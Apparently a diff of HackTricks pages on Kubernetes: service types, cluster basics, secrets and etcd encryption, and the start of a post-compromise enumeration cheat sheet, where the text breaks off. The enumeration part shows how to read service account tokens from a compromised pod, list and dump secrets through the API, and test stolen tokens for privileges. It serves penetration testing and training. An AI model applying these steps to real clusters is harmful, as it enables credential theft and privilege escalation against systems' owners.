In the Service spec, `externalIPs` can be specified along with any of the `ServiceTypes`. In the example below, "`my-service`" can be accessed by clients on "`80.11.12.10:80`" (`externalIP:port`)
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
spec:
selector:
app: MyApp
ports:
- name: http
protocol: TCP
port: 80
targetPort: 9376
externalIPs:
- 80.11.12.10
```
### ExternalName
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **map a Service to a DNS name**, not to a typical selector such as `my-service` or `cassandra`. You specify these Services with the `spec.externalName` parameter.
This Service definition, for example, maps the `my-service` Service in the `prod` namespace to `my.database.example.com`:
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
namespace: prod
spec:
type: ExternalName
externalName: my.database.example.com
```
When looking up the host `my-service.prod.svc.cluster.local`, the cluster DNS Service returns a `CNAME` record with the value `my.database.example.com`. Accessing `my-service` works in the same way as other Services but with the crucial difference that **redirection happens at the DNS level** rather than via proxying or forwarding.
List all ExternalNames:
```bash
kubectl get services --all-namespaces | grep ExternalName
```
### Ingress
Unlike all the above examples, **Ingress is NOT a type of service**. Instead, it sits **in front of multiple services and act as a “smart router”** or entrypoint into your cluster.
You can do a lot of different things with an Ingress, and there are **many types of Ingress controllers that have different capabilities**.
The default GKE ingress controller will spin up a [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) for you. This will let you do both path based and subdomain based routing to backend services. For example, you can send everything on foo.yourdomain.com to the foo service, and everything under the yourdomain.com/bar/ path to the bar service.
The YAML for a Ingress object on GKE with a [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) might look like this:
```yaml
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
name: my-ingress
spec:
backend:
serviceName: other
servicePort: 8080
rules:
- host: foo.mydomain.com
http:
paths:
- backend:
serviceName: foo
servicePort: 8080
- host: mydomain.com
http:
paths:
- path: /bar/*
backend:
serviceName: bar
servicePort: 8080
```
List all the ingresses:
```bash
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
```
Although in this case it's better to get the info of each one by one to read it better:
```bash
kubectl get ingresses --all-namespaces -o=yaml
```
### References
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
{{#include ../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/kubernetes-basics.md
+569
View File
@@ -0,0 +1,569 @@
# Kubernetes Basics
## Kubernetes Basics
{{#include ../../banners/hacktricks-training.md}}
**The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(read his original post** [**here**](https://sickrov.github.io)**)**
## Architecture & Basics
### What does Kubernetes do?
- Allows running container/s in a container engine.
- Schedule allows containers mission efficient.
- Keep containers alive.
- Allows container communications.
- Allows deployment techniques.
- Handle volumes of information.
### Architecture
![](https://sickrov.github.io/media/Screenshot-68.jpg)
- **Node**: operating system with pod or pods.
- **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running.
- **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service.\
When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints`
- **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes.
- **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors.
- **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well.
- **Master process:**
- **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed.
- **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod.
- **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API.
- **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...)
- **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack.
Note that as the might be several nodes (running several pods), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized.
**Volumes:**
When a pod creates data that shouldn't be lost when the pod disappear it should be stored in a physical volume. **Kubernetes allow to attach a volume to a pod to persist the data**. The volume can be in the local machine or in a **remote storage**. If you are running pods in different physical nodes you should use a remote storage so all the pods can access it.
**Other configurations:**
- **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials!
- **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials.
- **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run.
- **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**.
- **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application.
- If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services.
- A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed.
- When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter.
- `minikube addons enable ingress`
### PKI infrastructure - Certificate Authority CA:
![](https://sickrov.github.io/media/Screenshot-66.jpg)
- CA is the trusted root for all certificates inside the cluster.
- Allows components to validate to each other.
- All cluster certificates are signed by the CA.
- ETCd has its own certificate.
- types:
- apiserver cert.
- kubelet cert.
- scheduler cert.
## Basic Actions
### Minikube
**Minikube** can be used to perform some **quick tests** on kubernetes without needing to deploy a whole kubernetes environment. It will run the **master and node processes in one machine**. Minikube will use virtualbox to run the node. See [**here how to install it**](https://minikube.sigs.k8s.io/docs/start/).
```
$ minikube start
😄 minikube v1.19.0 on Ubuntu 20.04
✨ Automatically selected the virtualbox driver. Other choices: none, ssh
💿 Downloading VM boot image ...
> minikube-v1.19.0.iso.sha256: 65 B / 65 B [-------------] 100.00% ? p/s 0s
> minikube-v1.19.0.iso: 244.49 MiB / 244.49 MiB 100.00% 1.78 MiB p/s 2m17.
👍 Starting control plane node minikube in cluster minikube
💾 Downloading Kubernetes v1.20.2 preload ...
> preloaded-images-k8s-v10-v1...: 491.71 MiB / 491.71 MiB 100.00% 2.59 MiB
🔥 Creating virtualbox VM (CPUs=2, Memory=3900MB, Disk=20000MB) ...
🐳 Preparing Kubernetes v1.20.2 on Docker 20.10.4 ...
▪ Generating certificates and keys ...
▪ Booting up control plane ...
▪ Configuring RBAC rules ...
🔎 Verifying Kubernetes components...
▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
🌟 Enabled addons: storage-provisioner, default-storageclass
🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by defaul
$ minikube status
host: Running
kubelet: Running
apiserver: Running
kubeconfig: Configured
---- ONCE YOU HAVE A K8 SERVICE RUNNING WITH AN EXTERNAL SERVICE -----
$ minikube service mongo-express-service
(This will open your browser to access the service exposed port)
$ minikube delete
🔥 Deleting "minikube" in virtualbox ...
💀 Removed all traces of the "minikube" cluster
```
### Kubectl Basics
**`Kubectl`** is the command line tool for kubernetes clusters. It communicates with the Api server of the master process to perform actions in kubernetes or to ask for data.
```bash
kubectl version #Get client and server version
kubectl get pod
kubectl get services
kubectl get deployment
kubectl get replicaset
kubectl get secret
kubectl get all
kubectl get ingress
kubectl get endpoints
#kubectl create deployment <deployment-name> --image=<docker image>
kubectl create deployment nginx-deployment --image=nginx
#Access the configuration of the deployment and modify it
#kubectl edit deployment <deployment-name>
kubectl edit deployment nginx-deployment
#Get the logs of the pod for debbugging (the output of the docker container running)
#kubectl logs <replicaset-id/pod-id>
kubectl logs nginx-deployment-84cd76b964
#kubectl describe pod <pod-id>
kubectl describe pod mongo-depl-5fd6b7d4b4-kkt9q
#kubectl exec -it <pod-id> -- bash
kubectl exec -it mongo-depl-5fd6b7d4b4-kkt9q -- bash
#kubectl describe service <service-name>
kubectl describe service mongodb-service
#kubectl delete deployment <deployment-name>
kubectl delete deployment mongo-depl
#Deploy from config file
kubectl apply -f deployment.yml
```
### Minikube Dashboard
The dashboard allows you to see easier what is minikube running, you can find the URL to access it in:
```
minikube dashboard --url
🔌 Enabling dashboard ...
▪ Using image kubernetesui/dashboard:v2.3.1
▪ Using image kubernetesui/metrics-scraper:v1.0.7
🤔 Verifying dashboard health ...
🚀 Launching proxy ...
🤔 Verifying proxy health ...
http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
```
### YAML configuration files examples
Each configuration file has 3 parts: **metadata**, **specification** (what need to be launch), **status** (desired state).\
Inside the specification of the deployment configuration file you can find the template defined with a new configuration structure defining the image to run:
**Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
As a service usually is related to one deployment it's possible to declare both in the same configuration file (the service declared in this config is only accessible internally):
```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: mongodb-deployment
labels:
app: mongodb
spec:
replicas: 1
selector:
matchLabels:
app: mongodb
template:
metadata:
labels:
app: mongodb
spec:
containers:
- name: mongodb
image: mongo
ports:
- containerPort: 27017
env:
- name: MONGO_INITDB_ROOT_USERNAME
valueFrom:
secretKeyRef:
name: mongodb-secret
key: mongo-root-username
- name: MONGO_INITDB_ROOT_PASSWORD
valueFrom:
secretKeyRef:
name: mongodb-secret
key: mongo-root-password
---
apiVersion: v1
kind: Service
metadata:
name: mongodb-service
spec:
selector:
app: mongodb
ports:
- protocol: TCP
port: 27017
targetPort: 27017
```
**Example of external service config**
This service will be accessible externally (check the `nodePort` and `type: LoadBlancer` attributes):
```yaml
---
apiVersion: v1
kind: Service
metadata:
name: mongo-express-service
spec:
selector:
app: mongo-express
type: LoadBalancer
ports:
- protocol: TCP
port: 8081
targetPort: 8081
nodePort: 30000
```
> [!NOTE]
> This is useful for testing but for production you should have only internal services and an Ingress to expose the application.
**Example of Ingress config file**
This will expose the application in `http://dashboard.com`.
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: dashboard-ingress
namespace: kubernetes-dashboard
spec:
rules:
- host: dashboard.com
http:
paths:
- backend:
serviceName: kubernetes-dashboard
servicePort: 80
```
**Example of secrets config file**
Note how the password are encoded in B64 (which isn't secure!)
```yaml
apiVersion: v1
kind: Secret
metadata:
name: mongodb-secret
type: Opaque
data:
mongo-root-username: dXNlcm5hbWU=
mongo-root-password: cGFzc3dvcmQ=
```
**Example of ConfigMap**
A **ConfigMap** is the configuration that is given to the pods so they know how to locate and access other services. In this case, each pod will know that the name `mongodb-service` is the address of a pod that they can communicate with (this pod will be executing a mongodb):
```yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: mongodb-configmap
data:
database_url: mongodb-service
```
Then, inside a **deployment config** this address can be specified in the following way so it's loaded inside the env of the pod:
```yaml
[...]
spec:
[...]
template:
[...]
spec:
containers:
- name: mongo-express
image: mongo-express
ports:
- containerPort: 8081
env:
- name: ME_CONFIG_MONGODB_SERVER
valueFrom:
configMapKeyRef:
name: mongodb-configmap
key: database_url
[...]
```
**Example of volume config**
You can find different example of storage configuration yaml files in [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\
**Note that volumes aren't inside namespaces**
### Namespaces
Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**. These are intended for use in environments with many users spread across multiple teams, or projects. For clusters with a few to tens of users, you should not need to create or think about namespaces at all. You only should start using namespaces to have a better control and organization of each part of the application deployed in kubernetes.
Namespaces provide a scope for names. Names of resources need to be unique within a namespace, but not across namespaces. Namespaces cannot be nested inside one another and **each** Kubernetes **resource** can only be **in** **one** **namespace**.
There are 4 namespaces by default if you are using minikube:
```
kubectl get namespace
NAME STATUS AGE
default Active 1d
kube-node-lease Active 1d
kube-public Active 1d
kube-system Active 1d
```
- **kube-system**: It's not meant or the users use and you shouldn't touch it. It's for master and kubectl processes.
- **kube-public**: Publicly accessible date. Contains a configmap which contains cluster information
- **kube-node-lease**: Determines the availability of a node
- **default**: The namespace the user will use to create resources
```bash
#Create namespace
kubectl create namespace my-namespace
```
> [!NOTE]
> Note that most Kubernetes resources (e.g. pods, services, replication controllers, and others) are in some namespaces. However, other resources like namespace resources and low-level resources, such as nodes and persistenVolumes are not in a namespace. To see which Kubernetes resources are and aren’t in a namespace:
>
> ```bash
> kubectl api-resources --namespaced=true #In a namespace
> kubectl api-resources --namespaced=false #Not in a namespace
> ```
You can save the namespace for all subsequent kubectl commands in that context.
```bash
kubectl config set-context --current --namespace=<insert-namespace-name-here>
```
### Helm
Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**.
```
helm search <keyword>
```
Helm is also a template engine that allows to generate config files with variables:
## Kubernetes secrets
A **Secret** is an object that **contains sensitive data** such as a password, a token or a key. Such information might otherwise be put in a Pod specification or in an image. Users can create Secrets and the system also creates Secrets. The name of a Secret object must be a valid **DNS subdomain name**. Read here [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/).
Secrets might be things like:
- API, SSH Keys.
- OAuth tokens.
- Credentials, Passwords (plain text or b64 + encryption).
- Information or comments.
- Database connection code, strings… .
There are different types of secrets in Kubernetes
| Builtin Type | Usage |
| ----------------------------------- | ----------------------------------------- |
| **Opaque** | **arbitrary user-defined data (Default)** |
| kubernetes.io/service-account-token | service account token |
| kubernetes.io/dockercfg | serialized \~/.dockercfg file |
| kubernetes.io/dockerconfigjson | serialized \~/.docker/config.json file |
| kubernetes.io/basic-auth | credentials for basic authentication |
| kubernetes.io/ssh-auth | credentials for SSH authentication |
| kubernetes.io/tls | data for a TLS client or server |
| bootstrap.kubernetes.io/token | bootstrap token data |
> [!NOTE]
> **The Opaque type is the default one, the typical key-value pair defined by users.**
**How secrets works:**
![](https://sickrov.github.io/media/Screenshot-164.jpg)
The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` and `password: MWYyZDFlMmU2N2Rm`. It also defines a **pod** called `secretpod` that will have the `username` and `password` defined in `mysecret` exposed in the **environment variables** `SECRET_USERNAME` \_\_ and \_\_ `SECRET_PASSWOR`. It will also **mount** the `username` secret inside `mysecret` in the path `/etc/foo/my-group/my-username` with `0640` permissions.
```yaml:secretpod.yaml
apiVersion: v1
kind: Secret
metadata:
name: mysecret
type: Opaque
data:
username: YWRtaW4=
password: MWYyZDFlMmU2N2Rm
---
apiVersion: v1
kind: Pod
metadata:
name: secretpod
spec:
containers:
- name: secretpod
image: nginx
env:
- name: SECRET_USERNAME
valueFrom:
secretKeyRef:
name: mysecret
key: username
- name: SECRET_PASSWORD
valueFrom:
secretKeyRef:
name: mysecret
key: password
volumeMounts:
- name: foo
mountPath: "/etc/foo"
restartPolicy: Never
volumes:
- name: foo
secret:
secretName: mysecret
items:
- key: username
path: my-group/my-username
mode: 0640
```
```bash
kubectl apply -f <secretpod.yaml>
kubectl get pods #Wait until the pod secretpod is running
kubectl exec -it secretpod -- bash
env | grep SECRET && cat /etc/foo/my-group/my-username && echo
```
### Secrets in etcd <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
**etcd** is a consistent and highly-available **key-value store** used as Kubernetes backing store for all cluster data. Let’s access to the secrets stored in etcd:
```bash
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
```
You will see certs, keys and url’s were are located in the FS. Once you get it, you would be able to connect to etcd.
```bash
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] health
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] health
```
Once you achieve establish communication you would be able to get the secrets:
```bash
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] get <path/to/secret>
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] get /registry/secrets/default/secret_02
```
**Adding encryption to the ETCD**
By default all the secrets are **stored in plain** text inside etcd unless you apply an encryption layer. The following example is based on [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
```yaml:encryption.yaml
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
providers:
- aescbc:
keys:
- name: key1
secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
- identity: {}
```
After that, you need to set the `--encryption-provider-config` flag on the `kube-apiserver` to point to the location of the created config file. You can modify `/etc/kubernetes/manifest/kube-apiserver.yaml` and add the following lines:
```yaml
containers:
- command:
- kube-apiserver
- --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
```
Scroll down in the volumeMounts:
```yaml
- mountPath: /etc/kubernetes/etcd
name: etcd
readOnly: true
```
Scroll down in the volumeMounts to hostPath:
```yaml
- hostPath:
path: /etc/kubernetes/etcd
type: DirectoryOrCreate
name: etcd
```
**Verifying that data is encrypted**
Data is encrypted when written to etcd. After restarting your `kube-apiserver`, any newly created or updated secret should be encrypted when stored. To check, you can use the `etcdctl` command line program to retrieve the contents of your secret.
1. Create a new secret called `secret1` in the `default` namespace:
```
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
```
2. Using the etcdctl commandline, read that secret out of etcd:
`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
where `[...]` must be the additional arguments for connecting to the etcd server.
3. Verify the stored secret is prefixed with `k8s:enc:aescbc:v1:` which indicates the `aescbc` provider has encrypted the resulting data.
4. Verify the secret is correctly decrypted when retrieved via the API:
```
kubectl describe secret secret1 -n default
```
should match `mykey: bXlkYXRh`, mydata is encoded, check [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) to completely decode the secret.
**Since secrets are encrypted on write, performing an update on a secret will encrypt that content:**
```
kubectl get secrets --all-namespaces -o json | kubectl replace -f -
```
**Final tips:**
- Try not to keep secrets in the FS, get them from other places.
- Check out [https://www.vaultproject.io/](https://www.vaultproject.io) for add more protection to your secrets.
- [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks)
- [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm)
## References
{{#ref}}
https://sickrov.github.io/
{{#endref}}
{{#ref}}
https://www.youtube.com/watch?v=X48VuDVv0do
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
+612
View File
@@ -0,0 +1,612 @@
# Kubernetes Enumeration
{{#include ../../banners/hacktricks-training.md}}
## Kubernetes Tokens
If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**.
In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved.
If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:
### Service Account Tokens
Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.**
Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
Usually **one** of the directories:
- `/run/secrets/kubernetes.io/serviceaccount`
- `/var/run/secrets/kubernetes.io/serviceaccount`
- `/secrets/kubernetes.io/serviceaccount`
contain the files:
- **ca.crt**: It's the ca certificate to check kubernetes communications
- **namespace**: It indicates the current namespace
- **token**: It contains the **service token** of the current pod.
Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**
The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**.
Default location on **Kubernetes**:
- /etc/kubernetes/pki
Default location on **Minikube**:
- /var/lib/localkube/certs
### Hot Pods
_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
## RBAC
If you don't know what is **RBAC**, **read this section**.
## GUI Applications
- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
In order to enumerate a K8s environment you need a couple of this:
- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.
With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host.
However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server.
### Differences between `list` and `get` verbs
With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API:
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
If you have the **`list`** permission, you are allowed to execute API requests to list a type of asset (_`get` option in `kubectl`_):
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
If you have the **`watch`** permission, you are allowed to execute API requests to monitor assets:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).
> [!CAUTION]
> The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get`
### Using curl
From inside a pod you can use several env variables:
```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> By default the pod can **access** the **kube-api server** in the domain name **`kubernetes.default.svc`** and you can see the kube network in **`/etc/resolv.config`** as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint).
### Using kubectl
Having the token and the address of the API server you use kubectl or curl to access it as indicated here:
By default, The APISERVER is communicating with `https://` schema
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> if no `https://` in url, you may get Error Like Bad Request.
You can find an [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to.
To find the HTTP request that `kubectl` sends you can use the parameter `-v=8`
#### MitM kubectl - Proxyfying kubectl
```bash
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
```
### Current Configuration
{{#tabs }}
{{#tab name="Kubectl" }}
```bash
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
```
{{#endtab }}
{{#endtabs }}
If you managed to steal some users credentials you can **configure them locally** using something like:
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### Get Supported Resources
With this info you will know all the services you can list
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
```
{{#endtab }}
{{#endtabs }}
### Get Current Privileges
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
```
{{#endtab }}
{{#endtabs }}
Another way to check your privileges is using the tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
You can learn more about **Kubernetes RBAC** in:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**Once you know which privileges** you have, check the following page to figure out **if you can abuse them** to escalate privileges:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Get Others roles
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get roles
k get clusterroles
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
```
{{#endtab }}
{{#endtabs }}
### Get namespaces
Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get namespaces
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/
```
{{#endtab }}
{{#endtabs }}
### Get secrets
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
```
{{#endtab }}
{{#endtabs }}
If you can read secrets you can use the following lines to get the privileges related to each to token:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### Get Service Accounts
As discussed at the begging of this page **when a pod is run a service account is usually assigned to it**. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges.
{{#tabs }}
{{#tab name="kubectl" }}
